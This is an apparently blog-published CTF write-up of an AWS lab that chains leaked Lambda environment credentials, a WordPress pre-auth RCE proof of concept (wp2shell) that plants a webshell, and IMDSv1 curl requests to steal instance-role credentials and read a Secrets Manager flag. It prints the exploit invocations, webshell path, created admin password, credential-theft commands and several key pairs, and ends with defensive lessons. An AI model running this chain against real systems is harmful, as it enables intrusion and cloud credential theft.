September 13, 2026
Hacksmarter Second โ CTF Writeup
Platform: Hacksmarter | Challenge Lab: Second (Medium) | Category: Cloud (AWS) / Credential Leakage, WordPress RCE & IMDS Exploitation |โฆ

By Razzle Mouse ๐ญ
10 min read
Platform: Hacksmarter | Challenge Lab: Second (Medium) | Category: Cloud (AWS) / Credential Leakage, WordPress RCE & IMDS Exploitation | Flags: 1/1 | Author: razzle_mouse
Synopsis
This range drops a single IAM credential โ cg-pentest-lab โ that can barely do anything useful on its own: no IAM self-read, no S3, no EC2 writes. But lambda:ListFunctions is quietly allowed, and that one call hands back everything needed to keep moving. A Lambda function's environment variables are sitting in plaintext, carrying a second permanent credential pair for a "manager" user. That user hasec2:DescribeInstances, which surfaces a running EC2 instance tagged as a marketing WordPress box โ publicly reachable, running WordPress 6.9.0, with an IAM instance profile attached and IMDSv1 still enabled. WordPress 6.9.0 happens to be vulnerable to wp2shell, a pre-authentication RCE chain that chains CVE-2026-63030 (REST API batch route confusion) with CVE-2026-60137 (SQL injection in WP_Query). No credentials, no plugins, no user interaction โ a single script drops a webshell and gives OS command execution as www-data. From there, one unauthenticated curl to the metadata endpoint hands over the EC2 role's temporary credentials. That role's only interesting permission is secretsmanager:ListSecrets โ which is enough to find and retrieve the flag. Four credentials, four hops, one misconfiguration at each step.
Attack Surface & Reconnaissance
Target Layout
Account : 474874559247
Region : us-east-1
Starting user : cg-pentest-lab
Key resources : cg-log-processor-lab (Lambda), cg-lambda-role-lab (Lambda exec role),
cg-marketing-wp-lab (EC2 @ 3.234.144.156), cg-ec2-instance-profile-lab,
cg-ec2-role-lab (instance role), cg-final-flag-lab (Secrets Manager)Account : 474874559247
Region : us-east-1
Starting user : cg-pentest-lab
Key resources : cg-log-processor-lab (Lambda), cg-lambda-role-lab (Lambda exec role),
cg-marketing-wp-lab (EC2 @ 3.234.144.156), cg-ec2-instance-profile-lab,
cg-ec2-role-lab (instance role), cg-final-flag-lab (Secrets Manager)Two surfaces in play: the AWS API (enumerated from Kali via the CLI and Pacu) and a public-facing WordPress site on port 80. The entire chain pivots between the two โ API access finds the box, the web app gives OS execution, OS execution gives the next credential set, that set reads the flag out of Secrets Manager.
Initial Credential Recon
aws configure --profile second
# AccessKeyId: AKIAW5EF2XMHUUVY6RVG
# SecretAccessKey: aeQLAWbyHJkGZ/t8cjvBKH4ZE2ffUTC9+YD4lBSlaws configure --profile second
# AccessKeyId: AKIAW5EF2XMHUUVY6RVG
# SecretAccessKey: aeQLAWbyHJkGZ/t8cjvBKH4ZE2ffUTC9+YD4lBSlAccount verify
export AWS_PROFILE=second
aws sts get-caller-identity
--------------
{
"UserId": "AIDAW5EF2XMHQX73NZH44",
"Account": "474874559247",
"Arn": "arn:aws:iam::474874559247:user/cg-pentest-lab"
}
export AWS_PROFILE=second
aws sts get-caller-identity
--------------
{
"UserId": "AIDAW5EF2XMHQX73NZH44",
"Account": "474874559247",
"Arn": "arn:aws:iam::474874559247:user/cg-pentest-lab"
}Live key confirmed. Every direct IAM read attempted from here returns AccessDenied โ iam:ListUsers, iam:ListAttachedUserPolicies, iam:ListUserPolicies are all closed. Whatever this user can actually do has to be discovered by trying things, not by asking IAM.
Phase 1: Self-Enumeration โ Brute-Forcing a User With No Policy Visibility
Challenge
cg-pentest-lab Can't read its own attached policies, so the only way to learn what's allowed is to brute-force common service calls and watch what succeeds.
Exploitation
Step 1: Import keys into Pacu and run the permission brute-forcer
Pacu > import_keys second
Pacu > run iam__bruteforce_permissions --region us-east-1Pacu > import_keys second
Pacu > run iam__bruteforce_permissions --region us-east-1Step 2: Read back the confirmed allow-list
"Permissions": {
"Allow": [
"dynamodb:DescribeEndpoints",
"sts:GetSessionToken",
"sts:GetCallerIdentity",
"lambda:ListFunctions"
]
}"Permissions": {
"Allow": [
"dynamodb:DescribeEndpoints",
"sts:GetSessionToken",
"sts:GetCallerIdentity",
"lambda:ListFunctions"
]
}Step 3: Run Lambda enumeration โ the one action most people file under "harmless read"
Pacu > run lambda__enum --region us-east-1
---------
[+] Secret (ENV): LAMBDA_MANAGER_AK= AKIAW5EF2XMH5XD6ROED
[+] Secret (ENV): LAMBDA_MANAGER_SK= UlGl08ibkdS29kOdDZ0Ky4FQhSARksMkwb6S6mMxPacu > run lambda__enum --region us-east-1
---------
[+] Secret (ENV): LAMBDA_MANAGER_AK= AKIAW5EF2XMH5XD6ROED
[+] Secret (ENV): LAMBDA_MANAGER_SK= UlGl08ibkdS29kOdDZ0Ky4FQhSARksMkwb6S6mMxFull output from lambda:ListFunctions including the function's Environment.Variables block:
json
{
"FunctionName": "cg-log-processor-lab",
"FunctionArn": "arn:aws:lambda:us-east-1:474874559247:function:cg-log-processor-lab",
"Role": "arn:aws:iam::474874559247:role/cg-lambda-role-lab",
"Environment": {
"Variables": {
"LAMBDA_MANAGER_AK": "AKIAW5EF2XMH5XD6ROED",
"LAMBDA_MANAGER_SK": "UlGl08ibkdS29kOdDZ0Ky4FQhSARksMkwb6S6mMx"
}
}
}{
"FunctionName": "cg-log-processor-lab",
"FunctionArn": "arn:aws:lambda:us-east-1:474874559247:function:cg-log-processor-lab",
"Role": "arn:aws:iam::474874559247:role/cg-lambda-role-lab",
"Environment": {
"Variables": {
"LAMBDA_MANAGER_AK": "AKIAW5EF2XMH5XD6ROED",
"LAMBDA_MANAGER_SK": "UlGl08ibkdS29kOdDZ0Ky4FQhSARksMkwb6S6mMx"
}
}
}A permanent AKIA-prefixed credential pair, named LAMBDA_MANAGER, sitting in plaintext inside a function's environment block. lambda:ListFunctions returns the full config including variables โ no additional permissions needed.
Key Lesson
Environment variables on a Lambda function are configuration, not a vault. Any principal with lambda:ListFunctions can read them back in plaintext unless they are specifically encrypted with a customer-managed KMS key the caller can't decrypt. The LAMBDA_MANAGER naming convention labels the next pivot before you've even tried the keys.
Phase 2: EC2 Discovery with the Leaked Manager Keys
Challenge
A second credential pair is in hand. Its actual permissions are unknown โ brute-forcing again is the only reliable way to find out what this identity can reach.
Exploitation
Step 1: Import the leaked credentials into Pacu as a new identity
Pacu > import_keys second1
# AccessKeyId: AKIAW5EF2XMH5XD6ROED
# SecretAccessKey: UlGl08ibkdS29kOdDZ0Ky4FQhSARksMkwb6S6mMxPacu > import_keys second1
# AccessKeyId: AKIAW5EF2XMH5XD6ROED
# SecretAccessKey: UlGl08ibkdS29kOdDZ0Ky4FQhSARksMkwb6S6mMxStep 2: Brute-force permissions for this identity
Pacu > run iam__bruteforce_permissions --region us-east-1
----------------
[INFO] -- Account ARN : arn:aws:iam::474874559247:user/cg-pentest-lab
[INFO] -- ec2.describe_instances() worked!
[INFO] -- secretsmanager.list_secrets() worked! (partial)
[INFO] -- sts.get_caller_identity() worked!Pacu > run iam__bruteforce_permissions --region us-east-1
----------------
[INFO] -- Account ARN : arn:aws:iam::474874559247:user/cg-pentest-lab
[INFO] -- ec2.describe_instances() worked!
[INFO] -- secretsmanager.list_secrets() worked! (partial)
[INFO] -- sts.get_caller_identity() worked!Step 3: Enumerate EC2
Pacu > run ec2__enum --regions us-east-1
Pacu > data ec2Pacu > run ec2__enum --regions us-east-1
Pacu > data ec2
json
{
"InstanceId": "i-05efacdc1165f0b2f",
"State": { "Name": "running" },
"PublicIpAddress": "3.234.144.156",
"IamInstanceProfile": {
"Arn": "arn:aws:iam::474874559247:instance-profile/cg-ec2-instance-profile-lab"
},
"MetadataOptions": {
"HttpTokens": "optional",
"HttpPutResponseHopLimit": 2
},
"Tags": [{ "Key": "Name", "Value": "cg-marketing-wp-lab" }]
}{
"InstanceId": "i-05efacdc1165f0b2f",
"State": { "Name": "running" },
"PublicIpAddress": "3.234.144.156",
"IamInstanceProfile": {
"Arn": "arn:aws:iam::474874559247:instance-profile/cg-ec2-instance-profile-lab"
},
"MetadataOptions": {
"HttpTokens": "optional",
"HttpPutResponseHopLimit": 2
},
"Tags": [{ "Key": "Name", "Value": "cg-marketing-wp-lab" }]
}
A running instance tagged cg-marketing-wp-lab, publicly reachable at 3.234.144.156, with an attached instance profile and HttpTokens: optional โ IMDSv1 left open. Navigating to the IP in a browser confirms a live WordPress installation: "CG Marketing Portal."
Key Lesson
ec2:DescribeInstances is frequently treated as background-noise read access. In practice, it hands back the public IP, the instance profile ARN, and the IMDSv1 configuration of every running box in the account โ everything needed to plan the next move before touching the machine.
Phase 3: WordPress Fingerprinting & CVE Identification
Challenge
A public-facing WordPress site on an EC2 instance with an attached IAM role and IMDSv1 enabled. The obvious goal is OS-level code execution so the metadata service can be queried without SSH credentials. The question is which vulnerability gets there.
Exploitation
Step 1: Run WPScan to fingerprint the installation
bash
wpscan --url http://3.234.144.156 --enumerate vp,vt,uwpscan --url http://3.234.144.156 --enumerate vp,vt,uKey findings:
[+] WordPress version 6.9 identified (Insecure, released on 2025-12-02)
[+] WordPress theme in use: twentytwentyfive (v1.4, out of date)
[i] No plugins Found.
[+] User(s) Identified: cgadmin
Found By: Rss Generator / Wp Json Api / Author Sitemap[+] WordPress version 6.9 identified (Insecure, released on 2025-12-02)
[+] WordPress theme in use: twentytwentyfive (v1.4, out of date)
[i] No plugins Found.
[+] User(s) Identified: cgadmin
Found By: Rss Generator / Wp Json Api / Author SitemapWordPress 6.9.0, no plugins (rules out plugin-SSRF path), one confirmed username: cgadmin.
Step 2: Run Nuclei against the target for CVE confirmation
nuclei -u http://3.234.144.156/ -t /home/kali/.local/nuclei-templates/http/cves
-----------------
[CVE-2026-64638] [http] [high] http://3.234.144.156/wp-login.php
[CVE-2026-63030] [http] [critical] http://3.234.144.156/?rest_route=/batch/v1nuclei -u http://3.234.144.156/ -t /home/kali/.local/nuclei-templates/http/cves
-----------------
[CVE-2026-64638] [http] [high] http://3.234.144.156/wp-login.php
[CVE-2026-63030] [http] [critical] http://3.234.144.156/?rest_route=/batch/v1Both CVEs confirmed live on this instance. CVE-2026โ63030 is the critical one โ it is the entry point for wp2shell, a pre-authentication RCE chain that requires no plugins, no credentials, and no user interaction on a default WordPress 6.9.0 installation.
Key Lesson
WPScan's "Insecure" flag on a WordPress version is easy to skim past. In this case it was the most important line in the output โ WordPress 6.9.0 through 6.9.4 are affected by a critical, unauthenticated RCE chain that Nuclei confirmed with a single scan. Fingerprint the version before reaching for credential attacks.
Phase 4: Pre-Auth RCE via wp2shell (CVE-2026โ63030 + CVE-2026โ60137)
Challenge
WordPress 6.9.0 is confirmed vulnerable to wp2shell โ a chain that combines a REST API batch-endpoint route confusion flaw (CVE-2026โ63030) with a SQL injection in WP_Query (CVE-2026-60137) to achieve unauthenticated remote code execution. No credential brute-force needed.
Exploitation
Step 1: Clone the PoC (standard library only, no pip install required)
git clone https://github.com/c0gnit00/wp2shell
cd wp2shellgit clone https://github.com/c0gnit00/wp2shell
cd wp2shellStep 2: Run the full exploit chain
python3 exploit.py --url http://3.234.144.156 --command "id"
-------------------
[STEP 1] Verifying batch endpoint + route-confusion desync
[+] Batch endpoint reachable (HTTP 207)
[+] Route-confusion desync confirmed (markers: block_cannot_read, parse_path_failed, rest_batch_not_allowed)
[STEP 2] UNION SQLi -- database reconnaissance
[+] Database version : 10.5.29-MariaDB-ubu2004
[+] Admin login : cgadmin
[+] Admin hash (phpass) : $wp$2y$10$219maFMyZYZFhwXAprd12eet1/VHxEPVyp.xUGAgUQUhBQNGvRcde
[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
[+] Admin created -- username: wp2_poc_f61f353d2b6f password: Wp2!piV6tiFsp7qWK6IO
[STEP 4] Authenticating + deploying webshell -- running: id
[+] Logged in as administrator
[+] Plugin uploaded and activated
============================================================
COMMAND OUTPUT -- id
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
[+] RCE confirmed -- Pre-Auth exploit chain completepython3 exploit.py --url http://3.234.144.156 --command "id"
-------------------
[STEP 1] Verifying batch endpoint + route-confusion desync
[+] Batch endpoint reachable (HTTP 207)
[+] Route-confusion desync confirmed (markers: block_cannot_read, parse_path_failed, rest_batch_not_allowed)
[STEP 2] UNION SQLi -- database reconnaissance
[+] Database version : 10.5.29-MariaDB-ubu2004
[+] Admin login : cgadmin
[+] Admin hash (phpass) : $wp$2y$10$219maFMyZYZFhwXAprd12eet1/VHxEPVyp.xUGAgUQUhBQNGvRcde
[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
[+] Admin created -- username: wp2_poc_f61f353d2b6f password: Wp2!piV6tiFsp7qWK6IO
[STEP 4] Authenticating + deploying webshell -- running: id
[+] Logged in as administrator
[+] Plugin uploaded and activated
============================================================
COMMAND OUTPUT -- id
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
[+] RCE confirmed -- Pre-Auth exploit chain completeFour steps, fully automated: batch desync confirmation โ SQL injection for DB recon and admin hash extraction โ administrator creation via oEmbed cache poisoning โ webshell plugin upload and activation. OS command execution confirmed as www-data.
Step 3: Use the re-use hint for subsequent commands (skips the full chain)
python3 exploit.py \
--url http://3.234.144.156 \
--command "curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
--admin-user wp2_poc_f61f353d2b6f \
--admin-password 'Wp2!piV6tiFsp7qWK6IO' \
--prev-webshell-plugin /wp-content/plugins/wp2shell_53794ecf/wp2shell_53794ecf.php
---------------
============================================================
COMMAND OUTPUT
============================================================
cg-ec2-role-lab
============================================================python3 exploit.py \
--url http://3.234.144.156 \
--command "curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
--admin-user wp2_poc_f61f353d2b6f \
--admin-password 'Wp2!piV6tiFsp7qWK6IO' \
--prev-webshell-plugin /wp-content/plugins/wp2shell_53794ecf/wp2shell_53794ecf.php
---------------
============================================================
COMMAND OUTPUT
============================================================
cg-ec2-role-lab
============================================================Key Lesson
wp2shell needs no plugins, no credentials, and no user interaction โ it works against a default WordPress 6.9.0 installation exposed to the internet. The batch endpoint route confusion flaw (CVE-2026โ63030) alone bypasses WordPress's authorization layer entirely, making the SQL injection (CVE-2026โ60137) reachable without authentication. Keeping WordPress updated is not optional maintenance; in this case a single version bump closes a CVSS 9.8 pre-auth RCE.
Phase 5: IMDS Credential Theft via Webshell
Challenge
www-data shell on the box, IMDSv1 confirmed open (HttpTokens: optional). The instance profile is cg-ec2-instance-profile-lab, which means an attached role's temporary credentials are one unauthenticated curl away from inside the box.
Exploitation
Step 1: Dump the EC2 role credentials directly from IMDS
python3 exploit.py \
--url http://3.234.144.156 \
--command "curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-lab" \
--admin-user wp2_poc_f61f353d2b6f \
--admin-password 'Wp2!piV6tiFsp7qWK6IO' \
--prev-webshell-plugin /wp-content/plugins/wp2shell_53794ecf/wp2shell_53794ecf.phppython3 exploit.py \
--url http://3.234.144.156 \
--command "curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-lab" \
--admin-user wp2_poc_f61f353d2b6f \
--admin-password 'Wp2!piV6tiFsp7qWK6IO' \
--prev-webshell-plugin /wp-content/plugins/wp2shell_53794ecf/wp2shell_53794ecf.php
json
{
"Code" : "Success",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAW5EF2XMHVU64EJKG",
"SecretAccessKey" : "tX342jDvpjyCepYLsNflEWxbdRk0mFid0XzpUoQq",
"Token" : "IQoJb3JpZ2luX2VjEAMaCXVzLWVhc3QtMSJH...(truncated)",
"Expiration" : "2026-09-13T16:38:17Z"
}{
"Code" : "Success",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAW5EF2XMHVU64EJKG",
"SecretAccessKey" : "tX342jDvpjyCepYLsNflEWxbdRk0mFid0XzpUoQq",
"Token" : "IQoJb3JpZ2luX2VjEAMaCXVzLWVhc3QtMSJH...(truncated)",
"Expiration" : "2026-09-13T16:38:17Z"
}A full temporary credential set for cg-ec2-role-lab, served with no request-signing barrier โ a plain unauthenticated GET from inside the box via the already-deployed webshell.
Step 2: Load credentials into the AWS CLI
aws configure --profile ec2_role
aws configure set aws_session_token "IQoJb3JpZ2luX2VjEAMaCXVzLWVhc3QtMSJH...(full token)" --profile ec2_roleaws configure --profile ec2_role
aws configure set aws_session_token "IQoJb3JpZ2luX2VjEAMaCXVzLWVhc3QtMSJH...(full token)" --profile ec2_role
aws sts get-caller-identity --profile ec2_role
---------------------
{
"UserId": "AROAW5EF2XMH3UFJIUVFQ:i-05efacdc1165f0b2f",
"Account": "474874559247",
"Arn": "arn:aws:sts::474874559247:assumed-role/cg-ec2-role-lab/i-05efacdc1165f0b2f"
}
aws sts get-caller-identity --profile ec2_role
---------------------
{
"UserId": "AROAW5EF2XMH3UFJIUVFQ:i-05efacdc1165f0b2f",
"Account": "474874559247",
"Arn": "arn:aws:sts::474874559247:assumed-role/cg-ec2-role-lab/i-05efacdc1165f0b2f"
}Pivot confirmed. Operating as the EC2 instance role now.
Key Lesson
HttpTokens: optional means the metadata service accepts plain unauthenticated GET requests from any process on the box โ including a www-data webshell. Enforcing IMDSv2 (HttpTokens: required) gates every IMDS request behind a session token that requires a PUT first, which an SSRF or webshell cannot perform. That one config change closes this entire class of credential theft.
Phase 6: Secrets Manager Enumeration & Flag Retrieval
Challenge
cg-ec2-role-lab has temporary credentials. Its permissions need to be mapped before assuming the flag is directly reachable โ the role was designed narrow.
Exploitation
Step 1: Import the EC2 role credentials into Pacu
Pacu > import_keys ec2_role
Pacu > run iam__bruteforce_permissions --region us-east-1
---------------
[INFO] -- secretsmanager.list_secrets() worked!
[INFO] -- sts.get_caller_identity() worked!
[INFO] -- dynamodb.describe_endpoints() worked!
Pacu > import_keys ec2_role
Pacu > run iam__bruteforce_permissions --region us-east-1
---------------
[INFO] -- secretsmanager.list_secrets() worked!
[INFO] -- sts.get_caller_identity() worked!
[INFO] -- dynamodb.describe_endpoints() worked!
secretsmanager.list_secrets: {
'SecretList': [{
'ARN': 'arn:aws:secretsmanager:us-east-1:474874559247:secret:cg-final-flag-lab-n1fr1b',
'Name': 'cg-final-flag-lab',
'Description': 'CloudGoat Final Flag'
}]
}secretsmanager.list_secrets: {
'SecretList': [{
'ARN': 'arn:aws:secretsmanager:us-east-1:474874559247:secret:cg-final-flag-lab-n1fr1b',
'Name': 'cg-final-flag-lab',
'Description': 'CloudGoat Final Flag'
}]
}secretsmanager:ListSecrets reveals the name, description, and ARN of every secret in the account โ including cg-final-flag-lab. That metadata alone identifies the target before GetSecretValue is even attempted.
Step 2: Retrieve the flag
aws secretsmanager get-secret-value \
--secret-id cg-final-flag-lab \
--region us-east-1 \
--profile ec2_roleaws secretsmanager get-secret-value \
--secret-id cg-final-flag-lab \
--region us-east-1 \
--profile ec2_role
json
{
"ARN": "arn:aws:secretsmanager:us-east-1:474874559247:secret:cg-final-flag-lab-n1fr1b",
"Name": "cg-final-flag-lab",
"SecretString": "HSM{369817da90b44exxxxxxx}"
}{
"ARN": "arn:aws:secretsmanager:us-east-1:474874559247:secret:cg-final-flag-lab-n1fr1b",
"Name": "cg-final-flag-lab",
"SecretString": "HSM{369817da90b44exxxxxxx}"
}Key Lesson
secretsmanager:ListSecrets is reconnaissance, not just a precursor to GetSecretValue. Knowing a secret named cg-final-flag-lab exists with description "CloudGoat Final Flag" is most of the work โ the ARN is right there in the response for a direct get-secret-value call. Least-privilege on Secrets Manager needs to scope list permissions as tightly as read permissions, or the account's secret map gives itself away for free.
Flag
HSM{369817da90b44eb9aacc1cxxxxxxxxxxxxxxxx}HSM{369817da90b44eb9aacc1cxxxxxxxxxxxxxxxx}
Attack Chain Summary
cg-pentest-lab (AKIAW5EF2XMHUUVY6RVG)
(lambda:ListFunctions, sts:*, dynamodb:DescribeEndpoints)
โ
โผ lambda:ListFunctions โ ENV vars in plaintext
cg-log-processor-lab environment variables
โ LAMBDA_MANAGER_AK / LAMBDA_MANAGER_SK leaked
โผ
LAMBDA_MANAGER keys (AKIAW5EF2XMH5XD6ROED)
โ
โผ ec2:DescribeInstances โ cg-marketing-wp-lab @ 3.234.144.156
WordPress 6.9.0 โ IMDSv1 enabled, instance profile attached
โ
โผ CVE-2026-63030 + CVE-2026-60137 (wp2shell, pre-auth RCE)
www-data shell on cg-marketing-wp-lab
โ
โผ curl IMDS (HttpTokens: optional, no token required)
cg-ec2-role-lab (temporary ASIA credentials)
โ
โผ secretsmanager:ListSecrets โ cg-final-flag-lab identified
โผ secretsmanager:GetSecretValue โ flag retrieved
FLAG: HSM{369817da90b44eb9aacc1cxxxxxxxxxxxxxxxx}cg-pentest-lab (AKIAW5EF2XMHUUVY6RVG)
(lambda:ListFunctions, sts:*, dynamodb:DescribeEndpoints)
โ
โผ lambda:ListFunctions โ ENV vars in plaintext
cg-log-processor-lab environment variables
โ LAMBDA_MANAGER_AK / LAMBDA_MANAGER_SK leaked
โผ
LAMBDA_MANAGER keys (AKIAW5EF2XMH5XD6ROED)
โ
โผ ec2:DescribeInstances โ cg-marketing-wp-lab @ 3.234.144.156
WordPress 6.9.0 โ IMDSv1 enabled, instance profile attached
โ
โผ CVE-2026-63030 + CVE-2026-60137 (wp2shell, pre-auth RCE)
www-data shell on cg-marketing-wp-lab
โ
โผ curl IMDS (HttpTokens: optional, no token required)
cg-ec2-role-lab (temporary ASIA credentials)
โ
โผ secretsmanager:ListSecrets โ cg-final-flag-lab identified
โผ secretsmanager:GetSecretValue โ flag retrieved
FLAG: HSM{369817da90b44eb9aacc1cxxxxxxxxxxxxxxxx}Tools Used
#Tools Used
Tool Purpose
aws cli Credential configuration, identity confirmation, secret retrieval
Pacu IAM permission brute-forcing, Lambda and EC2 enumeration modules
WPScan WordPress version fingerprinting, plugin/theme enum, user enumeration
Nuclei CVE confirmation (CVE-2026-63030, CVE-2026-64638)
wp2shell Pre-auth RCE PoC chaining CVE-2026-63030 + CVE-2026-60137
curl IMDS queries from inside the EC2 instance via webshell#Tools Used
Tool Purpose
aws cli Credential configuration, identity confirmation, secret retrieval
Pacu IAM permission brute-forcing, Lambda and EC2 enumeration modules
WPScan WordPress version fingerprinting, plugin/theme enum, user enumeration
Nuclei CVE confirmation (CVE-2026-63030, CVE-2026-64638)
wp2shell Pre-auth RCE PoC chaining CVE-2026-63030 + CVE-2026-60137
curl IMDS queries from inside the EC2 instance via webshellKey Takeaways
lambda:ListFunctions is not harmless read access. Without a customer-managed KMS key encrypting the variables, every environment variable in a function's config is returned in plaintext to anyone who can call ListFunctions. A "log processor" function carrying long-lived AKIA-prefixed manager credentials is a credential store with a read-all API.
WordPress version currency is a security control, not a maintenance task. WordPress 6.9.0 through 6.9.4 carries a CVSS 9.8 pre-authentication RCE chain that requires no plugins, no user interaction, and works against a default installation. Nuclei confirmed it in under two minutes. A single version bump to 6.9.5 closes the entire path.
IMDSv1 turns any code execution into IAM credentials. HttpTokens: optional means an unauthenticated GET from any process on the box โ including a webshell running as www-data โ is enough to retrieve the instance role's full temporary credential set. Enforcing IMDSv2 (HttpTokens: required) closes this class of attack entirely.
secretsmanager:ListSecrets is reconnaissance. Names, descriptions, and ARNs of every secret in the account are returned without GetSecretValue. A secret named cg-final-flag-lab with description "CloudGoat Final Flag" is self-documenting. Scope list permissions as tightly as read permissions on Secrets Manager.
Four small misconfigurations stack into a full account pivot. No single step here required a sophisticated exploit โ one leaked Lambda variable, one outdated WordPress install, one open metadata endpoint, one over-permissioned role. Chained together they give a path from a near-empty starting credential to a secret vault.
Wrap-Up
Nothing in this range needed a zero-day or a novel technique. Every step was a different flavor of "a credential was stored somewhere that more than the intended principal could read it." A Lambda function carrying long-lived keys in environment variables, a WordPress box running a version with a public pre-auth RCE PoC, a metadata endpoint still serving IMDSv1 to any process on the box, and a Secrets Manager secret reachable from an EC2 role that was probably only meant to run a web server. Each one would be a footnote in isolation. In sequence, they are the entire lab.
#AWS #CloudSecurity #IAM #Lambda #EC2 #IMDS #WordPress #CVE202663030 #CVE202660137 #wp2shell #PrivilegeEscalation #CTFWriteup #CloudGoat #PenetrationTesting #SecretsManager #EthicalHacking #SecurityResearch #razzlemouse